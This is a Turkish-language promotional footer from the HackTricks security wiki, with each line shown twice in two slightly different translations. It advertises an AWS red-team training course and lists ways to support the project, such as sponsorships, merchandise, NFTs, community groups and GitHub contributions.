<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>